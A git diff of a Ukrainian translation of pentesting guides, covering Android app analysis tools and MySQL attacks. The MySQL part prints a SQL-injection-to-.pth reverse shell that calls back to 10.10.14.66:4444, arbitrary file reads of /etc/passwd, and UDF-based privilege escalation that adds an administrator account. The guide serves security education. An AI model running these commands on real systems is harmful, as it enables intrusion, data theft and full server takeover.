-- Use **Frida** to obtain **runtime** **information** +- **Dump application data** (URLs, логи, clipboard, скриншоти, зроблені вами, скриншоти зроблені "**Exported Activity Tester**", emails, SQLite бази даних, XML файли і інші створені файли). Усе це робиться автоматично, окрім скриншотів — їх потрібно робити вручну або натиснути "**Exported Activity Tester**", щоб отримати скриншоти всіх exported activities. +- Перехоплювати **HTTPS traffic** +- Використовувати **Frida** для отримання **runtime** **information** -З android **versions > 5** він **автоматично запускатиме Frida** і встановлюватиме глобальні налаштування **proxy** для **перехоплення** трафіку. Він перехоплюватиме трафік лише з тестованого застосунку. +Для android **versions > 5**, воно **automatically start Frida** і встановить глобальні налаштування **proxy** для **capture** трафіку. Воно перехоплюватиме трафік лише від тестованого застосунку. **Frida** -За замовчуванням використовуються деякі Frida Scripts для **bypass SSL pinning**, **root detection** і **debugger detection** та для **моніторингу цікавих API**.\ -MobSF також може **викликати exported activities**, робити їх **скриншоти** і **зберігати** їх для звіту. +За замовчуванням також використовуються деякі Frida Scripts для **bypass SSL pinning**, **root detection** та **debugger detection**, а також для **monitor interesting APIs**.\ +MobSF також може **invoke exported activities**, захоплювати **screenshots** цих активностей і **save** їх у звіті. -Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, і "**Live API Monitor**", щоб побачити всі виклики заблокованих методів, передані аргументи та повернуті значення (це з’явиться після натискання "Start Instrumentation").\ -MobSF також дозволяє завантажувати власні **Frida scripts** (щоб відправити результати ваших Frida scripts до MobSF, використовуйте функцію `send()`). Є також **кілька заздалегідь написаних скриптів**, які можна завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (логи цих скриптів будуть видні в "**Frida Live Logs**"). +Щоб **start** динамічне тестування натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, і "**Live API Monitor**", щоб побачити всі виклики до hooked methods, передані аргументи та повернуті значення (це з'явиться після натискання "Start Instrumentation").\ +MobSF також дозволяє завантажувати власні **Frida scripts** (щоб надіслати результати ваших Friday scripts до MobSF використовуйте функцію `send()`). Воно також має **several pre-written scripts**, які ви можете завантажити (можете додати більше у `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **select them**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете бачити логи тих скриптів всередині "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Крім того, доступні допоміжні Frida функціональності: +Крім того, у вас є кілька допоміжних функцій Frida: - **Enumerate Loaded Classes**: Виведе всі завантажені класи -- **Capture Strings**: Виводить усі перехоплені рядки під час використання застосунку (дуже шумно) -- **Capture String Comparisons**: Може бути дуже корисним. **Показує 2 рядки, що порівнюються**, і чи результат був True або False. -- **Enumerate Class Methods**: Введіть назву класу (наприклад "java.io.File") — буде виведено всі методи класу. -- **Search Class Pattern**: Пошук класів за шаблоном -- **Trace Class Methods**: **Trace** цілого **класу** (дивіться вхідні та вихідні дані всіх методів класу). Пам’ятайте, що за замовчуванням MobSF трасує декілька цікавих Android API методів. +- **Capture Strings**: Виводитиме всі захоплені рядки під час використання застосунку (дуже шумно) +- **Capture String Comparisons**: Може бути дуже корисним. Воно **показуватиме 2 рядки, що порівнюються**, і чи був результат True або False. +- **Enumerate Class Methods**: Введіть назву класу (наприклад "java.io.File") і воно виведе всі методи класу. +- **Search Class Pattern**: Шукає класи за шаблоном +- **Trace Class Methods**: **Trace** цілий клас (див. входи та виходи всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих Android Api методів. -Після вибору потрібного допоміжного модуля натисніть "**Start Instrumentation**" — ви побачите всі виводи в "**Frida Live Logs**". +Після того, як ви обрали допоміжний модуль, який хочете використати, потрібно натиснути "**Start Intrumentation**" і ви побачите всі виводи в "**Frida Live Logs**". **Shell** -MobSF також надає shell з деякими **adb** командами, **MobSF commands** та поширеними **shell** **commands** у нижній частині сторінки dynamic analysis. Деякі корисні команди: +MobSF також надає shell з деякими **adb** командами, **MobSF commands**, та поширеними **shell commands** внизу сторінки динамічного аналізу. Декілька цікавих команд: ```bash help shell ls @@ -650,34 +650,34 @@ exported_activities services receivers ``` -**HTTP інструменти** +**HTTP tools** -Коли http-трафік перехоплено, ви можете побачити непривабливий вигляд перехопленого трафіку внизу на "**HTTP(S) Traffic**" або більш приємний перегляд у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ -Щоб зробити це, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> натисніть "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Коли HTTP-трафік перехоплено, ви можете побачити неохайний вигляд перехопленого трафіку у нижній частині "**HTTP(S) Traffic**" або приємніший вигляд у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **відправити** **перехоплені запити** до **proxies**, наприклад Burp або Owasp ZAP.\ +Для цього: _увімкніть Burp -->_ _вимкніть Intercept --> в MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Після завершення динамічного аналізу з MobSF ви можете натиснути "**Start Web API Fuzzer**", щоб **fuzz http requests** і шукати вразливості. +Після завершення dynamic analysis з MobSF можна натиснути "**Start Web API Fuzzer**", щоб **fuzz http requests** і шукати вразливості. > [!TIP] -> Після виконання динамічного аналізу з MobSF налаштування проксі можуть бути некоректними, і ви не зможете виправити їх через GUI. Ви можете виправити налаштування проксі, виконавши: +> Після виконання dynamic analysis з MobSF налаштування proxy settings можуть бути некоректними, і ви не зможете виправити їх через GUI. Ви можете виправити proxy settings, виконавши: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Асистований динамічний аналіз з Inspeckage +### Assisted Dynamic Analysis with Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Цей інструмент використовує деякі **Hooks**, щоб показати вам **what is happening in the application** поки ви виконуєте **динамічний аналіз**. +Ви можете отримати інструмент з [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +Цей інструмент використовує деякі **Hooks**, щоб повідомляти **що відбувається в додатку** під час виконання **dynamic analysis**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Це **great tool to perform static analysis with a GUI** +Це **чудовий інструмент для виконання static analysis з GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Цей інструмент призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **capable of creating a "Proof-of-Concept" deployable APK** та **ADB commands**, щоб експлуатувати деякі знайдені вразливості (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби root-ити тестовий пристрій. +Цей інструмент призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **capable of creating a "Proof-of-Concept" deployable APK** та **ADB commands** для експлуатації деяких знайдених вразливостей (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби root тестового пристрою. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -687,9 +687,9 @@ qark --java path/to/specific/java/file.java ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) - Відображає всі витягнуті файли для зручного перегляду -- Автоматично декомпілює APK файли у формат Java та Smali +- Автоматично декомпілює APK файли у Java та Smali формат - Аналізує AndroidManifest.xml на наявність типових вразливостей та поведінки -- Статичний аналіз вихідного коду на наявність типових вразливостей та поведінки +- Статичний аналіз вихідного коду на типові вразливості та поведінку - Інформація про пристрій - та інше ```bash @@ -697,11 +697,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER — це консольна програма, яку можна використовувати в Windows, MacOS X та Linux; вона аналізує _.apk_ файли в пошуку вразливостей. Вона робить це шляхом розпаковування APK і застосування ряду правил для виявлення цих вразливостей. +SUPER — це програма командного рядка, яка може використовуватись на Windows, MacOS X і Linux, і аналізує _.apk_ файли у пошуках вразливостей. Вона робить це шляхом розпакування APKs та застосування набору правил для виявлення цих вразливостей. -Усі правила зосереджені у файлі `rules.json`, і кожна компанія або тестувальник можуть створювати власні правила для аналізу того, що їм потрібно. +Всі правила зберігаються у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно. -Завантажте останні бінарні файли зі [download page](https://superanalyzer.rocks/download.html) +Завантажте останні бінарні файли зі сторінки [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -709,9 +709,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn — **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) над мобільними додатками. +StaCoAn — це **crossplatform** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) на мобільних додатках. -Концепція полягає в тому, що ви перетягуєте файл вашого мобільного застосунку (файл .apk або .ipa) у застосунок StaCoAn — і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати параметри та wordlists, щоб отримати індивідуальний досвід. +Ідея полягає в тому, що ви перетягуєте файл вашого мобільного додатку (an .apk or .ipa file) у застосунок StaCoAn, і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати налаштування та wordlists для отримання персоналізованого досвіду. Завантажити[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -719,7 +719,7 @@ StaCoAn — **кросплатформний** інструмент, який д ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework — це система аналізу вразливостей Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в Android-додатках.\ +AndroBugs Framework — система аналізу вразливостей Android, яка допомагає розробникам або hackers знаходити потенційні вразливості в Android-застосунках.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +727,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** — інструмент, основна мета якого — виявляти та попереджувати користувача про потенційно шкідливу поведінку Android-застосунку. +**Androwarn** — інструмент, основна мета якого — виявляти та попереджати користувача про потенційно шкідливу поведінку, реалізовану Android-додатком. -Виявлення виконується шляхом **static analysis** Dalvik bytecode застосунку, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard). +Виявлення виконується за допомогою **static analysis** байткоду Dalvik додатка, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard). -Цей інструмент шукає **common behavior of "bad" applications** такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Цей інструмент шукає **поширені ознаки "шкідливих" додатків**, такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,84 +739,84 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals. +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Це інструмент, який об'єднує поширені mobile application reverse engineering and analysis tools, щоб допомогти у тестуванні мобільних додатків проти OWASP mobile security threats. Мета — зробити це завдання простішим і зручнішим для розробників мобільних додатків та фахівців із безпеки. -Він здатен: +Він може: - Витягувати Java та Smali код за допомогою різних інструментів - Аналізувати APK за допомогою: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Витягувати приватну інформацію з APK за допомогою регулярних виразів. +- Витягувати приватну інформацію з APK за допомогою regexps. - Аналізувати Manifest. -- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Деобфускувати APK через [apk-deguard.com](http://www.apk-deguard.com) +- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) та [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK через [apk-deguard.com](http://www.apk-deguard.com) ### Koodous Корисно для виявлення malware: [https://koodous.com/](https://koodous.com/) -## Обфускація/Деобфускація коду +## Obfuscating/Deobfuscating code -Зверніть увагу, що залежно від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть бути обфусковані або залишитись у відкритому вигляді. +Зверніть увагу, що залежно від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть залишатися або не залишатися обфускованими. ### [ProGuard]() -Згідно з [Wikipedia](): **ProGuard** — це інструмент з відкритим кодом командного рядка, який стискає, оптимізує та обфускує Java-код. Він вміє оптимізувати байткод, а також виявляти та видаляти невикористовувані інструкції. ProGuard — вільне програмне забезпечення і поширюється під GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Він може оптимізувати байткод, а також виявляти та видаляти невикористовувані інструкції. ProGuard є вільним програмним забезпеченням і розповсюджується під ліцензією GNU General Public License, version 2. -ProGuard постачається в складі Android SDK і запускається під час збірки застосунку в release-режимі. +ProGuard розповсюджується як частина Android SDK і запускається при збірці додатка у release mode. ### [DexGuard](https://www.guardsquare.com/dexguard) -Знайдіть покроковий посібник із деобфускації apk на [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Згідно з цим посібником) Востаннє, коли ми перевіряли, режим роботи Dexguard був: +(From that guide) Last time we checked, the Dexguard mode of operation was: -- завантажити ресурс як InputStream; -- передати результат у клас, що наслідується від FilterInputStream, щоб розшифрувати його; -- виконати деяку марну обфускацію, щоб витратити кілька хвилин часу реверсера; -- передати розшифрований результат до ZipInputStream, щоб отримати DEX файл; -- врешті завантажити отриманий DEX як Resource, використовуючи метод `loadDex`. +- load a resource as an InputStream; +- feed the result to a class inheriting from FilterInputStream to decrypt it; +- do some useless obfuscation to waste a few minutes of time from a reverser; +- feed the decrypted result to a ZipInputStream to get a DEX file; +- finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) -**DeGuard відміняє процес обфускації, виконаний Android obfuscation tools. Це дозволяє виконувати численні security analyses, включаючи інспекцію коду та виявлення бібліотек.** +**DeGuard відновлює код після обфускації, виконаної інструментами обфускації для Android. Це дозволяє проводити численні аналізи безпеки, включно з перевіркою коду та виявленням бібліотек.** -Ви можете завантажити обфускований APK на їхню платформу. +Ви можете завантажити обфускований APK на їх платформу. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Це LLM-інструмент для виявлення потенційних вразливостей у android apps та деобфускації коду android app. Використовує Google's Gemini public API. +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -Це generic android deobfuscator. Simplify фактично виконує додаток, щоб зрозуміти його поведінку, а потім намагається оптимізувати код так, щоб він поводився ідентично, але був простішим для розуміння людиною. Кожен тип оптимізації простий і універсальний, тому не має значення, який саме тип обфускації використано. +It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD надає інформацію про те, як було створено APK. Він ідентифікує багато компіляторів, packers, obfuscators та інші дивні штуки. Це [_PEiD_](https://www.aldeid.com/wiki/PEiD) для Android. +APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual -[Прочитайте цей посібник, щоб дізнатися деякі трюки щодо **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b — це Android security virtual machine на базі ubuntu-mate, яка включає колекцію останніх framework, tutorials та лабораторій від різних security geeks та дослідників для reverse engineering та malware analysis. +AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. -## Посилання +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Це чудовий список ресурсів -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Короткий курс по Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -- [SSLPinDetect: Розширене виявлення SSL Pinning для аналізу безпеки Android](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) +- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## Ще спробувати +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 45674b767..0c5858b1f 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Основна інформація** -**MySQL** — це система з відкритим кодом для керування реляційними базами даних (**Relational Database Management System (RDBMS)**), яка доступна безкоштовно. Вона використовує **Structured Query Language (SQL)** для керування та маніпулювання базами даних. +**MySQL** — це відкрита система управління реляційними базами даних (Relational Database Management System — RDBMS), яка доступна безкоштовно. Вона працює на мові структурованих запитів (SQL) і дозволяє керувати та маніпулювати базами даних. **Порт за замовчуванням:** 3306 ``` @@ -17,14 +17,14 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Віддалений +### Віддалено ```bash mysql -h -u root mysql -h -u root@localhost ``` -## External Enumeration +## Зовнішня Enumeration -Деякі enumeration дії вимагають дійсних облікових даних +Деякі з enumeration дій вимагають дійсних credentials ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -## **Команди MySQL** +## **MySQL команди** ```bash show databases; use ; @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Перерахування дозволів MySQL +### Перелічення дозволів MySQL ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -У документації можна побачити значення кожного привілею: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -110,30 +110,30 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (специфічні для сайту хуки конфігурації) +#### INTO OUTFILE → Python `.pth` RCE (специфічні для сайту конфігураційні хуки) Зловживаючи класичним примітивом `INTO OUTFILE`, можна отримати *виконання довільного коду* на цілях, які пізніше запускають **Python** скрипти. -1. Використайте `INTO OUTFILE`, щоб записати користувацький **`.pth`** файл у будь-який каталог, який автоматично підвантажується `site.py` (наприклад `.../lib/python3.10/site-packages/`). -2. Файл `.pth` може містити *один рядок*, що починається з `import `, після якого йде довільний Python код, який буде виконуватись при кожному запуску інтерпретатора. -3. Коли інтерпретатор неявно запускається CGI-скриптом (наприклад `/cgi-bin/ml-draw.py` із shebang `#!/bin/python`), payload виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb запускав його як **root** → повне pre-auth RCE). +1. Використовуйте `INTO OUTFILE` щоб записати власний файл **`.pth`** в будь-який каталог, який автоматично підвантажується `site.py` (наприклад, `.../lib/python3.10/site-packages/`). +2. Файл `.pth` може містити *один рядок*, що починається з `import ` і далі довільний Python-код, який виконуватиметься при кожному запуску інтерпретатора. +3. Коли інтерпретатор неявно виконується CGI-скриптом (наприклад `/cgi-bin/ml-draw.py` з shebang `#!/bin/python`), payload виконується з тими ж привілеями, що і процес веб-сервера (FortiWeb запускав це як **root** → повний pre-auth RCE). Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Приклад створення файлу через **UNION** query (пробіли замінено на `/**/`, щоб обійти фільтр пробілів `sscanf("%128s")` і зберегти загальну довжину ≤128 байтів): +Приклад створення файлу через **UNION** query (символи пробілів замінені на `/**/`, щоб bypass фільтр пробілів `sscanf("%128s")` і зберегти загальну довжину ≤128 байт): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Важливі обмеження та способи обходу: +Важливі обмеження та обхідні шляхи: -* `INTO OUTFILE` **не може перезаписувати** існуючі файли; оберіть нове ім'я файлу. -* Шлях до файлу вирішується **відносно MySQL’s CWD**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютного шляху. -* Якщо введення атакуючого витягується з `%128s` (або подібним), будь-який пробіл призведе до усічення payload; використовуйте послідовності коментарів MySQL `/**/` або `/*!*/` замість пробілів. -* Користувачу MySQL, що виконує запит, потрібна привілея `FILE`, але в багатьох appliances (e.g. FortiWeb) сервіс запускається як **root**, що дає дозвіл на запис майже скрізь. +* `INTO OUTFILE` **не може перезаписувати** існуючі файли; виберіть нове ім'я файлу. +* Шлях до файлу розв'язується **відносно MySQL’s CWD**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютних шляхів. +* Якщо введення атакуючого витягується за допомогою `%128s` (або подібного), будь-який пробіл обріже payload; використовуйте послідовності коментарів MySQL `/**/` або `/*!*/`, щоб замінити пробіли. +* Користувач MySQL, що виконує запит, потребує привілею `FILE`, але в багатьох appliances (e.g. FortiWeb) сервіс працює як **root**, що дає можливість запису майже будь-куди. -Після розміщення `.pth`, просто викличте будь-який CGI, що обробляється python interpreter, щоб отримати виконання коду: +Після скидання `.pth` просто зробіть запит до будь-якого CGI, який обробляє python interpreter, щоб отримати виконання коду: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: @@ -145,14 +145,17 @@ $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` +--- + ## MySQL arbitrary read file by client -Насправді, коли ви намагаєтеся **load data local into a table**, сервер MySQL або MariaDB просить **клієнта прочитати** **content of a file** і надіслати його вміст. **Якщо ви зможете підробити mysql client, щоб він підключився до вашого власного MySQL server, ви зможете прочитати arbitrary files.**\ -Зверніть увагу, що це поведінка при використанні: +Насправді, коли ви намагаєтеся **load data local into a table**, MySQL або MariaDB сервер просить **клієнта прочитати** **вміст файлу** і відправити його. **Тоді, якщо ви зможете змінити mysql client так, щоб він підключився до вашого власного MySQL server, ви зможете прочитати arbitrary files.**\ +Зверніть увагу, що така поведінка спостерігається при використанні: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Зверніть увагу на слово "local")\ Оскільки без "local" ви можете отримати: +(Зверніть увагу на слово "local")\ +Тому без "local" ви можете отримати: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -168,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ## POST -### Користувач Mysql +### Mysql User -Це буде дуже цікаво, якщо mysql працює як **root**: +Особливо цікаво, якщо mysql запущено під **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Небезпечні налаштування mysqld.cnf +#### Небезпечні параметри mysqld.cnf -У конфігурації сервісів MySQL використовуються різні параметри для визначення їхньої роботи та заходів безпеки: +У конфігурації сервісів MySQL використовуються різні налаштування для визначення його роботи та заходів безпеки: -- Параметр **`user`** використовується для вказання користувача, під яким буде запущено сервіс MySQL. -- **`password`** використовується для встановлення пароля, пов'язаного з користувачем MySQL. -- **`admin_address`** вказує IP-адресу, яка слухає TCP/IP-з'єднання на адміністративному мережевому інтерфейсі. -- Змінна **`debug`** вказує на поточні налаштування дебагу, які можуть містити чутливу інформацію в логах. -- **`sql_warnings`** регулює, чи генеруються інформаційні рядки для одно-рядкових INSERT-запитів при появі попереджень, що також може призводити до включення чутливої інформації в логи. +- Налаштування **`user`** використовується для вказання користувача, від імені якого буде виконуватися служба MySQL. +- **`password`** застосовується для встановлення пароля, пов'язаного з користувачем MySQL. +- **`admin_address`** вказує IP-адресу, яка прослуховує TCP/IP-з'єднання на адміністративному мережевому інтерфейсі. +- Змінна **`debug`** вказує на поточні налаштування налагодження, які можуть включати конфіденційну інформацію в логах. +- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для одно-рядкових INSERT-запитів при виникненні попереджень, що може призводити до включення конфіденційних даних у логи. - За допомогою **`secure_file_priv`** обмежується область операцій імпорту та експорту даних для підвищення безпеки. -### Privilege escalation +### Ескалація привілеїв ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -204,13 +207,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Підвищення привілеїв через бібліотеку +### Privilege Escalation via library -Якщо **mysql server працює від імені root** (або іншого користувача з вищими привілеями), ви можете змусити його виконувати команди. Для цього потрібно використовувати **визначені користувачем функції**. А щоб створити таку функцію, вам потрібна **бібліотека** для ОС, на якій працює mysql. +Якщо **mysql server is running as root** (або інший користувач з більшими привілеями), ви можете змусити його виконувати команди. Для цього потрібно використовувати **user defined functions**. А щоб створити user defined функцію, вам потрібна **бібліотека** для ОС, на якій запущено mysql. -Зловмисну бібліотеку можна знайти в sqlmap та metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** — це бібліотеки **linux**, а **`.dll`** — бібліотеки **Windows**; оберіть ту, яка вам потрібна. +Зловмисну бібліотеку можна знайти всередині sqlmap та metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** — це бібліотеки для **linux**, а **`.dll`** — для **Windows**, виберіть ту, яка вам потрібна. -Якщо у вас **немає** цих бібліотек, ви можете або **пошукати їх**, або завантажити цей [**linux C code**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його на вразливій машині з linux**: +Якщо у вас **немає** цих бібліотек, ви можете або **шукати їх**, або завантажити цей [**linux C code**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його на вразливій машині під linux**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc @@ -249,38 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Порада для Windows: створення каталогів через NTFS ADS з SQL +#### Порада для Windows: створення директорій за допомогою NTFS ADS з SQL -У NTFS можна примусово створити каталог, використовуючи Alternate Data Stream (ADS), навіть якщо доступний лише примітив запису файлу. 